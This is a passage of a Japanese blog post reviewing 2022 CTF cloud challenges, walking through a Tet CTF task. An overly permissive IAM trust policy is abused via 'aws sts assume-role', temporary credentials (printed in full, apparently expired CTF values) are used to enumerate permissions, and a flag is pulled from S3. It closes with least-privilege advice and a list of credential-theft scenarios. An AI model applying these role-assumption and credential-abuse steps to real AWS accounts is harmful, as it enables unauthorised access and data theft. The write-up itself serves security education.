    "Role": {
        "Path": "/",
        "RoleName": "morioka12-Accessing_Tet_CTF_Flag1",
        "RoleId": "ARXXXXXXXXXXXXXXXXXXX",
        "Arn": "arn:aws:iam::50XXXXXXXXXX:role/morioka12-Accessing_Tet_CTF_Flag1",
        "CreateDate": "XXXXXXXXXXXXXX",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "*"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        }
    }
}

そして以下のように AWS CLI で実行することで、元々の権限を引き受けた状態で STS から一時クレデンシャルを発行することが可能です。

$ aws sts assume-role --role-arn 'arn:aws:iam::509530203012:role/CTF_ROLE' --role-session-name morioka12-Accessing_Tet_CTF_Flag1
{
    "Credentials": {
        "AccessKeyId": "ASIAXNIS54OCJUV3JOH4",
        "SecretAccessKey": "8uFq78MyTml9Uze8AzMuw94LQo29wmzgspSDC3wX",
        "SessionToken": "FwoGZXIvYXdzEFIaDOfZXuz+NaSmJcoz0SLEAYxKhJuhMQpuunIbEmp6M1ObHpgYbihCOM/JGod/iOBCGTuhV40kSAGfb3lNQITH9HKMBH5cAqRzFlDm8tXDNdH5r7QfiItf/AM4QThYGHVyXkTJYGSfeqY1epfM++j4yCiiCZfsVldIdnZDu2HSa0c66bckSOXanI37hp9RVmsXrvJbzX2ovsohLUy74dXmTXufa+Rcj3BrKXnI1/hwTycmwM+UX4ITStvh4EFiIBbxSGf9SDOklu2bF+D3uv3TIS9OsWUosKDHjgYyLe1gnguZD6/zLC8sgPxM+fiVmVK6qe4ZsUEtYlHftp9LhgCHTvPBvi5WZUS++Q==",
        "Expiration": "2022-01-02T17:17:52Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "ARXXXXXXXXXXXXXXXXXXX:morioka12-Accessing_Tet_CTF_Flag1",
        "Arn": "arn:aws:sts::50XXXXXXXXXX:assumed-role/CTF_ROLE/morioka12-Accessing_Tet_CTF_Flag1"
    }
}

そこから生成した Session Token を自身の環境にセットして、再度 IAM の許可された権限を enumerate-iam などで調査すると、新しく s3.list_buckets() worked! があり、S3 バケットを調べてみるとシークレットなバケット(tet-ctf-secret)から flag を得ることができました。

$ aws s3 ls
2021-12-31 15:11:47 secret-tetctf
2021-12-29 22:48:31 tet-ctf-secret

$ aws s3 ls s3://tet-ctf-secret
2021-12-29 23:18:42         29 flag

$ aws s3 cp s3://tet-ctf-secret/flag .
download: s3://tet-ctf-secret/flag to ./flag     

$ cat flag
TetCTF{AssumE_R0le-iS-A-MuSt}

このような実装が実際にあった場合、以下のような対策を行うことをおすすめします。

  • IAM のポリシーに最小特権アクセス許可を適用する


3. シナリオまとめ

今回あった問題の解くシナリオを簡単にまとめると、以下のようになります。

3.1 クレデンシャルの取得

  • EC2 上の Web アプリケーションに対して SSRF によるメタデータサーバーからクレデンシャルの取得
  • Lambda 上のアプリケーションに対して OS Command Injection などによる環境変数からクレデンシャルの取得
  • ハードコードされたソースコードからクレデンシャルの取得
  • S3 のアクセス制御の設定不備による機微な情報の取得
  • Git Log やサーバーログのファイルから機微な情報の取得

3.2 クレデンシャルを悪用した侵入

  • enumerate-iam などを用いた IAM の権限調査
  • 入手した IAM の権限を調査し、 他のリソースにアクセスすることによる機密情報の取得
    • S3 や DynamoDB などのデータ保存場所
    • AWS Secrets Manager などのシークレット情報の管理場所


4. その他

その他として、AWS のサービス以外にも Cloud に関する問題が数問あったので、少しだけ紹介します。


5. 終わりに

本稿では、2022年に開催された CTF のイベントで Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介しました。

2022年は、AWS 以外の GCP や Azure の要素を取り入れている問題がほぼなく、AWS の要素を取り入れている問題が少しある感じでした。

そのため、始めに紹介した CTF の2021年版や Hack The Box 版と合わせて見ていただき、何かの参考になれば幸いです。

scgajge12.hatenablog.com

scgajge12.hatenablog.com


また、2023年8月27日(日)に Security-JAWSAWS 縛りの CTF イベントが開催されます。

主に普段 AWS サービスを使っている開発者や運用者の方が楽しめるような問題や、AWS 初心者の方向けの問題などが出題される予定です。

私も作問メンバーとして参加させていただくため、その際に作問した問題もどこかで紹介できればと思います。

s-jaws.doorkeeper.jp


ここまでお読みいただきありがとうございました。